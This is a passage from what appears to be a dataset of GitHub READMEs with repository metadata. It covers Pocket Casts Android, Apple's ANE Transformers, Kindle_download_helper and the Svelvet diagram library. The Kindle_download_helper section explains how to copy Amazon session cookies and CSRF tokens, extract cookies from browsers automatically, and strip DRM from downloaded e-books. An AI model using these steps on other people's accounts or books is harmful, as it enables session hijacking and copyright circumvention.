assemble, install and run unit tests $ ./gradlew :app:connectedDebugAndroidTest # assemble, install and run Android tests ## Directory structure . ├── app # Mobile app ├── automotive # Automotive app ├── modules │ ├── features │ │ ├── account # Create account and sign in pages. │ │ ├── cartheme # Automotive resources needed for the account pages. │ │ ├── discover # Discover section. │ │ ├── endofyear # End of year stats. │ │ ├── filters # Filters section. │ │ ├── navigation # Navigation utilities. │ │ ├── player # Full screen player │ │ ├── podcasts # Podcasts section. │ │ ├── profile # Profile section. │ │ ├── search # Search pages. │ │ ├── settings # Settings pages. │ │ └── taskerplugin # Plugin for integration with Tasker app. │ └── services │ ├── analytics # Analytics code. │ ├── compose # Shared Compose code. │ ├── images # Image resources. │ ├── localization # Contains the strings in English and localized strings from GlotPress. │ ├── model # The database logic and entities. Also transfer objects required which aren't stored in the database. │ ├── preferences # Stores the user preferences and configuration settings. │ ├── repositories # Provides accessing to the data from the 'servers' and 'model' modules. │ ├── servers # Provides the network calls to the servers. The UI layer should access these through the 'repositories' module. │ ├── ui # Shared UI code for the 'compose' and 'views' modules. This includes the themes. │ ├── utils # Utility classes. │ └── views # Shred Only the old views code. The hierarchy of the modules in the project are reflected in [this diagram](docs/module-diagram.png). ## Contributing Read our [Contributing Guide](CONTRIBUTING.md) to learn about reporting issues, contributing code, and more ways to contribute. ## Documentation - [Coding Style](docs/coding-style.md) - guidelines and validation and auto-formatting tools - [Pull Request Guidelines](docs/pull-request-guidelines.md) - branch naming and how to write good pull requests - [Translations](docs/translations.md) - how the app gets translated and how to contribute translations ## Signing a Release To build a _signed_ release, add these lines to your local.properties file signingKeyStoreFile=/Users/username/git/secret.keystore signingKeyStorePassword= signingKeyAlias= signingKeyPassword=	Pocket Casts Android 🎧	android,pocket-casts	177	251	1,679	4,167	271	30	3
apple/ml-ane-transformers	# Apple Neural Engine (ANE) Transformers Use `ane_transformers` as a reference PyTorch implementation if you are considering deploying your Transformer models on Apple devices with an A14 or newer and M1 or newer chip to achieve up to 10 times faster and 14 times lower peak memory consumption compared to baseline implementations. `ane_transformers.reference` comprises a standalone reference implementation and `ane_transformers.huggingface` comprises optimized versions of [Hugging Face](https://huggingface.co/models) model classes such as `distilbert` to demonstrate the application of the optimization principles laid out in our research article on existing third-party implementations. Please check out our [research article](https://machinelearning.apple.com/research/apple-neural-engine) for a detailed explanation of the optimizations as well as interactive figures to explore latency and peak memory consumption data from our case study: [Hugging Face distilbert](https://huggingface.co/distilbert-base-uncased-finetuned-sst-2-english) model deployment on various devices and operating system versions. Below figures are non-interactive snapshots from the research article for iPhone 13 with iOS16.0 installed: <img src="assets/iPhone13_iOS16_latency_comparison.png"> <img src="assets/iPhone13_iOS16_memory_comparison.png"> ## Tutorial: Optimized Deployment of Hugging Face distilbert This tutorial is a step-by-step guide to the model deployment process from the case study in our research article. The same code is used to generate the Hugging Face distilbert performance data in the figures above. In order to begin the optimizations, we initialize the baseline model as follows: ```python import transformers model_name = "distilbert-base-uncased-finetuned-sst-2-english" baseline_model = transformers.AutoModelForSequenceClassification.from_pretrained( model_name, return_dict=False, torchscript=True, ).eval() ``` Then we initialize the mathematically equivalent but optimized model, and we restore its parameters using that of the baseline model: ```python from ane_transformers.huggingface import distilbert as ane_distilbert optimized_model = ane_distilbert.DistilBertForSequenceClassification( baseline_model.config).eval() optimized_model.load_state_dict(baseline_model.state_dict()) ``` Next we create sample inputs for the model: ```python tokenizer = transformers.AutoTokenizer.from_pretrained(model_name) tokenized = tokenizer( ["Sample input text to trace the model"], return_tensors="pt", max_length=128, # token sequence length padding="max_length", ) ``` We then trace the optimized model to obtain the expected input format (Torchscript) for the coremltools conversion tool. ```python import torch traced_optimized_model = torch.jit.trace( optimized_model, (tokenized["input_ids"], tokenized["attention_mask"]) ) ``` Finally, we use coremltools to generate the Core ML model package file and save it. ```python import coremltools as ct import numpy as np ane_mlpackage_obj = ct.convert( traced_optimized_model, convert_to="mlprogram", inputs=[ ct.TensorType( f"input_{name}", shape=tensor.shape, dtype=np.int32, ) for name, tensor in tokenized.items() ], compute_units=ct.ComputeUnit.ALL, ) out_path = "HuggingFace_ane_transformers_distilbert_seqLen128_batchSize1.mlpackage" ane_mlpackage_obj.save(out_path) ``` To verify performance, developers can now launch Xcode and simply add this model package file as a resource in their projects. After clicking on the Performance tab, the developer can generate a performance report on locally available devices, for example, on the Mac that is running Xcode or another Apple device that is connected to that Mac. The figure below shows a performance report generated for this model on an iPhone 13 Pro Max with iOS 16.0 installed. <img src="assets/xcode_performance_report_comparison.png"> Based on the figure above, the latency is improved by a factor of 2.84 times for the sequence length of 128 and batch size of 1 that were chosen for the tutorial. Higher sequence lengths, such as 512, and batch sizes, such as 8, will yield up to 10 times lower latency and 14 times lower peak memory consumption. Please refer to Figure 2 from our [research article](https://machinelearning.apple.com/research/apple-neural-engine) for detailed and interactive performance data. Note that the load and compilation times increase due to the number of operations increasing in the optimized model but these are one-time costs and user experience will not be affected if the model is loaded asynchronously. Note that 4 of the 606 operations in the optimized model are executed on the CPU. These are the embedding lookup related operations and they are more efficient to do on the CPU for this particular model configuration. ## A Note on Unit Tests The unit tests measure, among other things, the ANE speed-up factor. Since the device spec for this reference implementation is M1 or newer chips for the Mac and A14 and newer chips for the iPhone and iPad, the speed-up unit tests will print a warning message if executed on devices outside of this spec. Even if the model is generated using an out of spec Mac, the model should work as expected on in-spec devices. ## Installation & Troubleshooting - Fastest: `pip install ane_transformers` - Locally editable: `pip install -e .` - If installation fails with `ERROR: Failed building wheel for tokenizers` or `error: can't find Rust compiler`, please follow this [solution](https://github.com/huggingface/transformers/issues/2831#issuecomment-592724471)	Reference implementation of the Transformer architecture optimized for Apple Neural Engine (ANE)	null	3	13	4	5	0	1	0
yihong0618/Kindle_download_helper	# Kindle_download_helper Download all your kindle books script. ![image](https://user-images.githubusercontent.com/15976103/172113700-7be0ae1f-1aae-4b50-8377-13047c63411b.png) ## 2024.01 亚马逊关了中国商店首页，你可以访问这个链接下载书 https://www.amazon.cn/hz/mycd/myx#/home/content/booksAll/dateDsc/ ## 2023.06.26 如果你没有 kindle 实体设备可以用以下命令，下载后的 epub 在 EPUB 文件夹内。遇到 `AttributeError: 'NoneType' object has no attribute 'url'` 问题可用参考这个 https://github.com/yihong0618/Kindle_download_helper/issues/155#issuecomment-1928677849 ```console pip3 install -r requirements.txt python no_kindle.py -e ${email} -p ${password} # 如果你想下载推送的书 python no_kindle.py -e ${email} -p ${password} --pdoc # !!!!!! 亚马逊下架了中国区 web 商城，这个不好用了。 # 你可以生成所有你电子书的购买记录，笔记记录来分析展示 python no_kindle.py -e ${email} -p ${password} --memory # 支持导出全部标记书签及阅读信息（Clipping 信息）#153 python no_kindle.py -e ${email} -p ${password} --bookmark ``` ## 安装 Kindle_download_helper ### GUI 程序下载到 [Release](https://github.com/yihong0618/Kindle_download_helper/releases) 页面查看最新版本，获取对应系统的二进制文件下载解压即可。 ### Help - 若打开二进制遇到问题，请参考 [#25](https://github.com/yihong0618/Kindle_download_helper/issues/25) - kindle 无法下载问题，触发了亚马逊风控见 [#69](https://github.com/yihong0618/Kindle_download_helper/issues/69) - Mac 新手指南 by @chongiscool，见 [#76](https://github.com/yihong0618/Kindle_download_helper/issues/76) ### Cli 安装使用 1. python3 2. requirements ```python python3 --version # 查看 python 版本 ``` ```python pip3 install kindle_download # 使用 pip 安装 ``` ```bash git clone https://github.com/yihong0618/Kindle_download_helper.git && cd Kindle_download_helper ``` ```python pip3 install -r requirements.txt ``` ```python python kindle.py -h # 查看使用参数 usage: kindle.py [-h] [--cookie COOKIE \| --cookie-file COOKIE_FILE] [--cn] [--jp] [--de] [--uk] [--resume-from INDEX] [--cut-length CUT_LENGTH] [-o OUTDIR] [-od OUTDEDRMDIR] [-s SESSION_FILE] [--pdoc] [--resolve_duplicate_names] [--readme] [--dedrm] [--list] [--device_sn DEVICE_SN] [--mode MODE] [csrf_token] positional arguments: csrf_token amazon or amazon cn csrf token optional arguments: -h, --help show this help message and exit --cookie COOKIE amazon or amazon cn cookie --cookie-file COOKIE_FILE load cookie local file --cn if your account is an amazon.cn account --jp if your account is an amazon.co.jp account --de if your account is an amazon.de account --uk if your account is an amazon.co.uk account --resume-from INDEX resume from the index if download failed --cut-length CUT_LENGTH truncate the file name -o OUTDIR, --outdir OUTDIR download output dir -od OUTDEDRMDIR, --outdedrmdir OUTDEDRMDIR download output dedrm dir -s SESSION_FILE, --session-file SESSION_FILE The reusable session dump file --pdoc to download personal documents or ebook --resolve_duplicate_names Resolve duplicate names files to download --readme If you want to generate kindle readme stats --dedrm If you want to `dedrm` directly --list just list books/pdoc, not to download --device_sn DEVICE_SN Download file for device with this serial number --mode MODE Mode of download, all : download all files at once, sel: download selected files ``` ### 下载 kindle 书籍尝试[自动获取 cookie](#%E8%87%AA%E5%8A%A8%E8%8E%B7%E5%8F%96-cookie)、csrfToken 进行下载 ```python python3 kindle.py --dedrm --cn ## --dedrm 移除 DRM ``` (推荐) [手动输入 cookie](#%E8%8E%B7%E5%8F%96-cookie)、csrfToken 进行下载 ```python python3 kindle.py ${csrfToken} --cookie ${cookie} --dedrm --cn #下载国区 Kindle 书籍并移除 DRM python3 kindle.py ${csrfToken} --cookie ${cookie} --dedrm #下载美区 Kindle 书籍 ``` 默认下载所有文件，可以输入如下命令行来手动选择需要下载的书籍 ```python python3 kindle.py --mode sel # "python3 kindle.py --pdoc --mode sel" for personal document ``` 等程序获取到书籍列表后，程序会要求输入要下载的书籍序号： ``` string Input the index of books you want to download, split by space (q to quit, l to list books). ``` 此时，在命令行中输入字母"q"，然后回车则会退出下载；输入字母"l"，再回车则会重新输出所有书籍列表。如要下载书籍，查看该书籍对应的 Index，然后在命令行输入（假设想下载第7，10，20本书）： ``` string 7 10 20 ``` 用空格隔开，最后回车即可。输入还支持range，比如输入 ``` string 4 5 10:12 15 ``` 此时程序会下载第4，5，10，11，12，15本书籍。 ### 获取 cookie 若默认情况下提示 cookie 无效，你也可以手动输入 cookie。在上述 [全部书籍](https://www.amazon.cn/hz/mycd/myx#/home/content/booksAll/dateDsc/) 列表页面，按 `F12` 或右键点击——检查，进入网络面板 (Network)，在 Name 栏找到任意一个 `ajax` 请求，右键复制 Request Headers 里的 `Cookie` 即可。同时也能在 Payload 里找到 `csrfToken`。然后，执行 ```python python3 kindle.py --cn --cookie ${cookie} ``` 你也可以把 cookie 保存为文本文件，执行 `python3 kindle.py --cookie-file ${cookie_file}` 下载书籍。 ### 获取 CSRF Token 若执行过程中提示获取 CSRF token 失败，你可以手动输入 CSRF Token。 `CSRF Token` 可以在页面源码中找到。在 [全部书籍](https://www.amazon.cn/hz/mycd/myx#/home/content/booksAll/dateDsc/) 列表页面右键点击，选择查看网页源码，再利用文本匹配工具 (Ctrl + F) 查找 `csrfToken`，将等号右边引号中的值复制出来，加到命令行参数中。 ```python # CSRF Token python3 kindle.py --cn ${csrfToken} # Both cookie and CSRF Token python3 kindle.py --cn --cookie ${cookie} ${csrfToken} ``` ## 自动获取 cookie 如果你的运行环境是本机，项目可以使用 [browser-cookie3](https://github.com/borisbabic/browser_cookie3) 库自动从浏览器中获取 cookie。 ### 使用 `amazon.cn` 1. 登陆 amazon.cn 2. 访问 <https://www.amazon.cn/hz/mycd/myx#/home/content/booksAll/dateDsc/> 3. 右键查看源码，搜索 `csrfToken` 复制后面的 value 4. 执行 `python3 kindle.py --cn` 5. 如果下载推送文件 `python3 kindle.py --cn --pdoc` 5. 如果想直接 dedrm 解密 (不保证好用) `python3 kindle.py --cn --pdoc --dedrm` ### how to `amazon.com` 1. login amazon.com 2. visit <https://www.amazon.com/hz/mycd/myx#/home/content/booksAll/dateDsc/> 3. right click this page source then find `csrfToken` value copy 4. run: `python3 kindle.py` 5. if is doc file `python3 kindle.py --pdoc` ### how to `amazon.de` 1. login amazon.de 2. visit <https://www.amazon.de/hz/mycd/myx#/home/content/booksAll/dateDsc/> 3. right click this page source then find `csrfToken` value copy 4. run: `python3 kindle.py --de` 5. if is doc file `python3 kindle.py --de --pdoc` ### how to `amazon.co.uk` 1. login amazon.co.uk 2. visit <https://www.amazon.co.uk/hz/mycd/myx#/home/content/booksAll/dateDsc/> 3. right click this page source then find `csrfToken` value copy 4. run: `python3 kindle.py --uk` 5. if is doc file `python3 kindle.py --uk --pdoc` ### `amazon.jp` を使用する 1. amazon.co.jp にログインする。 2. ホームページ <https://www.amazon.co.jp/hz/mycd/myx#/home/content/booksAll/dateDsc/>）にアクセスする。 3. ソースコード上で右クリックし、`csrfToken`を検索して、それ以降の値をコピーします。 4. `python3 kindle.py --jp` を実行する。 5. プッシュファイルをダウンロードする場合 `python3 kindle.py --jp --pdoc` ## 注意 - cookie 和 csrf token 会过期，重新刷新下 amazon 的页面就行 - 程序会自动在命令执行的目录下创建 `DOWNLOADS` 目录，书会下载在 `DOWNLOADS` 里 - 支持 mobi 类型的文件直接 dedrm `--dedrm` 生成的文件在 `DEDRMS` 里 - 如果你用 [DeDRM_tools](https://github.com/apprenticeharper/DeDRM_tools) 解密 key 存在 key.txt 里 - 或者直接拖进 Calibre 里 please google it. - 如果过程中失败了可以使用 e.g. `--resume-from ${num}` - 如果出现名字太长的报错可以增加：`--cut-length 70` 来截断文件名 - 支持推送文件下载 `--pdoc` - 如果有很多同名 pdoc 或 book 可以使用 `--resolve_duplicate_names` 解决同名冲突 - error log 记录在 .error_books.log 中 - 支持生成最近读完书的 README `--readme` 生成的文件在 `my_kindle_stats.md` 中 - 支持 mobi 类型的文件直接 dedrm `--dedrm` 生成的文件在 `DEDRMS` 里 - 脚本 `dedrm.py` 用于单独解密已下载的电子书文件，默认同时输出 azw 和 epub 两种格式 ``` # 其中后 3 个参数，仅在必要时指定，用法 python3 dedrm.py 1源目录 2目标目录 3密钥 4输出格式 # 例如对 ebook 中的文件解密，并只生成 epub 格式的 dedrm 文件 $ python3 dedrm.py ebook DeDRMed key.txt中的密钥串 epub ``` ## Note - The cookie and csrf token will expire, just refresh the amazon page again. - The program will automatically create `DOWNLOADS` directory under the command execution directory, the book will be downloaded in `DOWNLOADS` directory. - If you use [DeDRM_tools](https://github.com/apprenticeharper/DeDRM_tools) to decrypt the key, it will be stored in key.txt - or just drag it into Calibre. Please google it. - If the process fails you can use e.g. `--resume-from ${num}` - If the name is too long, you can add: `-cut-length 70` to truncate the file name - Support push file download `--pdoc` - If there are many pdocs or books with the same name, you can use `--resolve_duplicate_names` to resolve conflicts with the same name. - error log is logged in .error_books.log - Support for generating READMEs of recently finished books `--readme` generated files are in `my_kindle_stats.md` ![image](https://user-images.githubusercontent.com/15976103/172113475-92862b57-bb39-4cd7-84d5-6bc428172bc4.png) ## 贡献 1. Any issues PR welcome 2. `black kindle.py kindle_gui.py` ## 感谢 - @[Kindle](https://zh.m.wikipedia.org/zh/Kindle) - @[DeDRM_tools](https://github.com/apprenticeharper/DeDRM_tools) - @[frostming](https://github.com/frostming) GUI and a lot of work - @[bladewang](https://github.com/bladewang) PDOC download - @[athrowaway2021](https://github.com/athrowaway2021/comix) No need to have a real kindle ## 赞赏 - 谢谢就够了 ## Enjoy	Download all your kindle books script.	null	22	30	62	236	26	4	1
open-source-labs/Svelvet	<div align="center"> ![banner](https://i.imgur.com/pNIYDWO.png) ![MIT License](https://img.shields.io/badge/license-MIT-%23fb7182) ![NPM Downloads](https://img.shields.io/npm/dt/svelvet?color=%23fb7182&label=downloads) ![GitHub Stars](https://img.shields.io/github/stars/open-source-labs/svelvet?color=%23fb7182) ![GitHub Forks](https://img.shields.io/github/forks/open-source-labs/Svelvet?color=%23fb7182) ![NPM Version](https://img.shields.io/npm/v/svelvet?color=%23fb7182&label=version) <br> # Infinitely Customizable Node-Based User Interfaces with Svelvet! Svelvet is a lightweight Svelte component library for building interactive node-based user interfaces and diagrams. [⚡ Website](https://www.svelvet.io/) \| [📚 Documentation](https://svelvet.mintlify.app) \| [⌨️ Blog](https://medium.com/@julianb1212_35672/svelvet-10-0-new-features-for-accessibility-and-improved-performance-3caaab9e54e9) \| [💬 Twitter](https://twitter.com/SvelvetOSLabs) \| [💼 LinkedIn](https://www.linkedin.com/company/svelvet/) </div> <br> ## Version Updates Shout out to our contributors! Here's what's new: ### Changelog <details> <summary>🛸 v10.0.0 🛸</summary> - Features: - Accessibility Enhancement: Now users can navigate the canvas using the keyboard. - Press `'l'` to turn on light/dark mode. - Press `'d'` to show drawer component, and `'D'` to open/close drawer component. - Press `Option + Tab \|\| Ctrl + Tab` for Node selection. - Press `'m'` to toggle the minimap component. - Press `'c'` to toggle control component. - Press `'e'` to bring up editor component. - Persistent Canvas State: Added the ability to save the state persistently to local storage. - High Contrast Mode: Introduced a new high contrast accessibility component tailored for the visually impaired. - Refactoring: - Improved Keyboard Accessibility: Enhanced the keyboard accessibility of the drawer component through refactoring. - Documentation: - Updated Guidance: Documentation now includes instructions on utilizing keyboard accessibility features. - Miscellaneous: - Test Enhancements: Added comprehensive testing for drawer components. - Maintenance: Updated Playwright tests and configuration for improved stability. </details> <details><summary>🚀 v9.0.0 🚀</summary> <ul> <li>feat: migrated Svelvet library from Svelte 3 to Svelte 4</li> <li>feat: built out/added a flowchart feature that generates dynamic flowchart diagrams from a formatted string</li> <li>feat: added a new arrow edge style to the existing collection of edge styles allowing one-way and two-way data flow visualization</li> <li>feat: added a new component called toggle to the existing library of data flow components</li> <li>refactor: overhauled the Editor component to allow for dynamic deletion and resizing of existing nodes</li> <li>docs: updated documentation to include the addition of an example that illustrates how a user might create customizable node shapes</li> <li>docs: updated documentation to include the addition of an example that illustrates how to use the new flowchart feature </li> <li>docs: updated the documentation page on the website to include newest version release</li> <li>test: added to the E2E testing suite using Playwright, nearly doubling test coverage</li> </ul> </details> <details><summary> v8.0.0 </summary> <ul> <li>feat: added a new drag-and-drop Drawer component that can take custom Nodes, Anchors and Edges as props and add them to the canvas via the UI</li> <li>feat: added a new input component, Knob, to the collection of already existing data flow system components that can be composed in custom nodes and customized by users</li> <li>docs: updated documentation to include an Example section that features a usecase of Svelvet as a Database Visualization tool</li> <li>docs: updated the documentation page on the website to include newest version release</li> <li>test: added Unit and Component testing using Vitest and Svelte Testing Library</li> <li>refactor: updated website styling: consolidated redundant CSS classes, fixed broken links and styling issues</li> <li>chore: updated home page to include newest collaborators</li> <li>chore: updated testing suite package versions</li> </ul> </details> <details><summary>v7.0.0</summary> <ul> <li>Changed primary API. Developers now pass Node and other exposed components directly as children to Svelvet</li> <li>Added the ability to specify Anchors as inputs, outputs or any, enabling connection logic and "directionality" of Edge curvature</li> <li>Added the ability to dynamically attach/reattach Edges</li> <li>All new Anchor component that developers can add anywhere within custom nodes. Can be wrapped around custom anchor elements or customized via props</li> <li>All new Edge component for developer customization</li> <li>All new Node component for developer customization</li> <li>Added ability to rotate nodes via the top left corner</li> <li>All new Resizer component used when composing custom nodes</li> <li>Improved reliability and DX around Edge click events</li> <li>Node connections can be specified at the Node or Anchor level. Improved flexibility of input options</li> <li>Improved consistency of touch events on mobile devices. Added touch support for controls component</li> <li>Nodes and Edges no longer require specified IDs. Defaults to incrementing value</li> <li>Added Controls component with zoom, reset, lock and unhide functionality plus the ability to pass custom control buttons as children</li> <li>Added the ability to specify an arbitrary number of Anchors on default nodes</li> <li>Added z-index stacking logic when interacting with Nodes</li> <li>Improved step path algorithm, which now connects Anchors regardless of their position. Exposed corner radius as prop</li> <li>Added keyboard navigation to canvas when focused</li> <li>Added selection box functionality via Shift + Click. Color can be controlled via the selectionColor prop on the Svelvet component.</li> <li>Added node grouping functionality via Shift + CMD + Click</li> <li>Added the ability to pass custom edges at the Graph, Node and Anchor level</li> <li>No longer required to pass width/height to Svelvet component. Will fill wrapping container by default</li> <li>Added the ability to specify canvas/node direction as top-down TD or left-right LR. Controls placement of input/output anchors on default nodes</li> <li>All new Minimap component that accepts props for placement, dimensions and styling the background and nodes (defaults to node color) and features dramatically improved tracking/visualization plus the ability to hide nodes</li> <li>All new Theme Toggle component that can toggle between a main and alt theme</li> <li>Enabled two way data binding for some parameters when creating default Nodes</li> <li>All new Background component allowing customization of grid size and color</li> <li>Exposed custom events on the Node component for on:nodeClicked, on:connection and on:disconnection that developers can listen for when implementing custom nodes</li> <li>Added theme prop to Svelvet component. Defaults to light. Accepts parameters like "dark", "purple", "parchment"</li> <li>Removed frontend website code from library repository</li> <li>Added E2E tests using Playwright</li> <li>Simplified bezier curve logic and added the ability to specify anchor "direction"</li> <li>Added ability to parse Mermaid strings into node graphs + edges</li> <li>Added a series of accessible input components (Slider, RadioGroup, TextField, ColorWheel) that can be composed in custom nodes and are linked with our data flow system</li> <li>Library now features 100% TypeScript coverage and fully exported types</li> <li>Removed D3-zoom dependency</li> <li>Removed redundant window and event listeners</li> <li>Added dynamic data flow/state management system that tracks Anchor connections</li> <li>Updated home page to include newest collaborators</li> <li>Temporarily removed dynamic anchor logic due to library re-write. May re-add</li> <li>Made progress on restoring graph state from local storage. Coming soon!</li> </ul> </details> <details><summary>v6.0.0</summary> <ul> <li>Added adaptive anchors. Anchors now automatically arrange themselves in an aesthetically pleasing way without user input. Adaptive anchors are now the default anchor mode.</li> <li>Added dynamic anchors. Anchors now automatically shift position when nodes are moved to preserve aesthetics.</li> <li>Added custom positioning of anchors. Users are able to specify custom positions of anchors using callbacks</li> <li>Added accessibiilty features for edges. Edges now highlight on hover to make edge interactions easier.</li> <li>Added functionality to resize nodes by dragging their bottom-right corner</li> <li>Added custom classes for edges to allow for uniform styling</li> <li>Added click event for edges that execute a user-defined callback</li> <li>Added functionality to edit edges by right-clicking on a node to bring up a modal</li> <li>Added feature to expand and collapse tree nodes. <li>Updated documentation page on website to include new features</li> <li>Updated home page to include newest collaborators</li> <li>Solved github issue #s: </li> </ul> </details> <details><summary>v5.0.0</summary> <ul> <li>Now compatible with Safari (5.0.7 update)</li> <li>Added interactive node linking & creation</li> <li>Added ability to load custom Svelte components as nodes</li> <li>Added an optional minimap that allows you to visualize larger diagrams</li> <li>Added progammatic initial zoom and location</li> <li>Added custom classes for nodes to allow for uniform styling</li> <li>Added a feature that allows you to export and import diagrams</li> <li>Added an optional boundary to the diagram</li> <li>Added functionality to edit nodes by right-clicking on a node to bring up a modal</li> <li>Added an optional feature that allows users to delete nodes</li> <li>NOTE: Please make sure to give nodes and edges unique IDs to prevent forEach key duplicate error!</li> <li>Solved github issue #s: 65, 78, 80, 81, 85, 86, 104, 105, 146, 147, 148, 151, 153, 158</li> <li>Updated documentation page on website to include new features</li> <li>Updated home page to include newest collaborators</li> </ul> </details> <details><summary>v4.0.0</summary> <ul> <li>Added ability to include HTML in inside of nodes (i.e. videos, sounds, etc)</li> <li>Added NPM Package folder in root directory of GitHub repo</li> <li>this folder is used for adding changes to library & pushing updates to NPM; included here to have version control through GitHub</li> <li>Added snap-to-grid functionality for use during runtime in the canvas (GitHub Issue 107)</li> <li>Corrected issue where nodes become magnetized when moved outside of the visible canvas boundaries (GitHub Issues 120 & 125)</li> <li>Removed unused dotenv & node.env dependency from NPM Package package.json (GitHub Issue 118)</li> <li>Moved all dependancies in devDependancies to regular dependancies object, except for d3-zoom which is used by the client during runtime</li> <li>Added group nodes functionality</li> <li>Updated main website page to include newest set of collaborators</li> <li>Added CSS option for canvas background</li> <li>Added documentation for HTML in nodes, snap-to-grid, canvas background coloring, and node grouping to website documents</li> <li>General refactoring throughout application to improve responsiveness and decrease size</li> <li>Created documentation to assist future developers in understanding the flow of data in Svelvet and provide list of potential updates/upgrades</li> </ul> </details> <details><summary>v3.0.0</summary> <ul> <li>Added right-click context menu functionality on REPL playground page</li> <li>Added capability to add custom nodes and edges via context menu</li> <li>Added custom node/edge shortcuts for optimized user experience</li> <li>Incorporated dynamic addition of custom node/edge via predictive algorithm</li> <li>Added ability to copy text from code editor</li> <li>Node diagrams now have the option to be fixed in place</li> <li>Added tutorial overlay for REPL playground page</li> <li>Added ability to access quick view documentation via popup modal</li> <li>Updated documentation to allow easier contributor access('.env' file setup)</li> <li>Updated Community link on website to redirect to Svelvet thread on Stackoverflow</li> <li>Implemented skeleton codebase for a Community Forum with full database/route accessibility(for future contributors)</li> </ul> </details> <details><summary>v2.0.2</summary> <ul> <li>Added left and right anchor points</li> <li>Added step and smoothstep edge types</li> <li>Incorporated mixed edge functionality</li> <li>Refactored how edge text and labels render for every edge</li> <li>Fixed D3Zoom bias bug</li> <li>Expanded styling options, including label color, label background, and edge color</li> <li>Nodes are now able to contain images and will render differently based on the presence of label text</li> <li>Nodes are now draggable on touch screens and reposition themselves to center on your touch</li> <li>Implemented data reactivity</li> <li>Expanded TypeScripting</li> <li>Added E2E testing using Cypress</li> <li>Expanded unit tests</li> <li>Added a REPL to our documentation site</li> <li>Added SQL database to our REPL</li> <li>Added GitHub OAuth to enable users to save their custom diagrams created in our new REPL</li> <li>Expanded documentation for new features</li> <li>Added full CI/CD pipeline</li> </ul> </details> <details><summary>v1.0.3</summary> <ul> <li>Fixed bug with running tests</li> <li>Added ability to render multiple unique Svelvet components</li> <li>Added a 'clickCallback' customization option for nodes</li> </ul> </details> <details><summary>v1.0.2</summary> <ul> <li>Fixed bug with importing types for TypeScript applications</li> <li>Added a 'borderRadius' customization option for nodes</li> <li>Fixed SVG zoom/pan bug (zoom/pan is now limited to Svelvet component only)</li> </ul> </details> ## Key Features - Easy to use: To get [started](https://svelvet.mintlify.app/getting-started/installation) with Svelvet, all you need is data for nodes and edges. Visit our [documentation website](https://svelvet.mintlify.app/) for streamlined, user-friendly tutorials and examples on how to get the most out of your Svelvet interfaces! - Interactive: Elegant and smooth interface when selecting a node to drag it across the graph. - Customizable: Fully customizable Edges, Nodes, Backgrounds and components - Reliable: Svelvet is written in TypeScript and tested with [Vitest](https://vitest.dev/), [Playwright](https://www.playwright.dev/) and [Svelte Testing Library](https://testing-library.com/docs/svelte-testing-library/intro/). Svelvet is maintained by motivated engineers seeking to contribute to the larger Svelte developer community and library ecosystem. - Room to Grow: There is so much we can do to improve, add features and make Svelvet the best version of itself - we welcome feedback and contributions! Scroll below for suggestions on how to contribute. ## Installation Svelvet is available as both an npm and a yarn package. You can install it by running one of the two commands: ```bash npm install svelvet ``` ```bash yarn add svelvet ``` ## Quick Start Start by importing the Svelvet and Node components into your application: ```js import { Svelvet, Node, Anchor, Edge, Controls } from 'svelvet'; ``` A Svelvet canvas primarily consists of Nodes. You can pass any number of Nodes as children to the Svelvet wrapper. You can use all the standard conditional rendering syntax to populate nodes within the Svelvet component. Basic parameters like color, input and output count, label and more can be specified and feature two-way data binding with passed props. For greater customization, wrap your own custom components in our Node component and pass the whole thing to Svelvet. Nodes, Edges and Anchors all feature click events, properties and functions to allow developers to fully customize the state of their graphs. When creating custom Nodes, you can position any number of our Anchor components to enable dynamic connections. You can also wrap Nodes in a Group component to limit their boundaries and move them as one. These groups can be created dynamically by Shift + Click and dragging. Finally, you can render our Controls, Minimap, Background and Theme Toggle components via props or named slots. In the latter use case, you can pass props to further customize them. The Controls component can wrap your own set of buttons as we expose the zoom/reset/lock actions using a let directive. Svelvet is focused on dynamic edge connections, but if you'd like to specify edges ahead of time, you can pass an array of connections to any Anchor component. You can also pass a custom Edge component! For more detailed use cases and examples, please visit our [website](https://svelvet.io). ```jsx <Svelvet width={500} height={500} theme="dark" initialZoom={0.6} minimap> <Node /> <Node label="Demo Node" TD /> <Node id="node-id" inputs={2} /> <Node bgColor="red" inputs={10} outputs={5} height={200} position={{ x: 100, y: 100 }} /> <Controls slot="controls" horizontal /> </Svelvet> ``` ## Testing Testing is done with Playwright, Vitest, and the Svelte Testing Library. You can find tests in the [/tests](https://github.com/open-source-labs/Svelvet/tree/main/test) folder. We dramatically expanded test coverage, but there are still opportunities to improve it. In order to run the tests use the command: For End-to-End testing ```bash npx playwright test ``` For unit testing ```bash npm run test:unit [filename] ``` ## The Svelvet Team - Mason Lee • [LinkedIn](https://www.linkedin.com/in/maysonlee/) • [Github](https://github.com/mayson124) - Isaac Bocage • [LinkedIn](https://www.linkedin.com/in/isaac-bocage-15711715a/) • [Github](https://github.com/isaacb0) - Julian Bos • [LinkedIn](https://www.linkedin.com/in/julian-bos-2ab287145/) • [Github](https://github.com/Julianb12) - Solomon Moon • [LinkedIn](https://www.linkedin.com/in/solomon-moon-aaab7818a/) • [Github](https://github.com/chobo91) - Henry Sweat • [LinkedIn](https://www.linkedin.com/in/henry-sweat/) • [Github](https://github.com/henry-sweat) - Jeremy David • [LinkedIn](https://www.linkedin.com/in/jeremy-david-66jc/) • [Github](https://github.com/Jdave1125) - John Costello • [LinkedIn](https://www.linkedin.com/in/johnlcostello/) • [Github](https://github.com/johnlcos) - Spencer Huey • [LinkedIn](https://www.linkedin.com/in/spencerhuey/) • [Github](https://github.com/hueylew1s) - Rathna Chinthalapalli • [LinkedIn](https://www.linkedin.com/in/rathnac/) • [Github](https://github.com/rathna-git) - Ruxin Zheng • [LinkedIn](https://www.linkedin.com/in/ruxinzhengswe/) • [Github](https://github.com/RuxinZ) - Samuel Alvarez • [LinkedIn](https://www.linkedin.com/in/samuelsalvarez/) • [Github](https://github.com/bittermelonsam) - Wesley Waters • [LinkedIn](https://www.linkedin.com/in/wesley-w-332882248/) • [Github](https://github.com/Wesley-Waters) - Brian Holmes • [LinkedIn](https://www.linkedin.com/in/briangregoryholmes/) • [Github](https://github.com/briangregoryholmes) - Britta Ager • [LinkedIn](https://www.linkedin.com/in/britta-ager-84394a129) • [Github](https://github.com/bkager) - Thomas Kady • [LinkedIn](https://www.linkedin.com/in/thomas-kady-45725b149) • [Github](https://github.com/thomaskady) - Jen Lee • [LinkedIn](https://www.linkedin.com/in/jenleesj) • [Github](https://github.com/sjjen) - Ernesto Gonzalez • [LinkedIn](https://www.linkedin.com/in/ernesto-gonzalez123) • 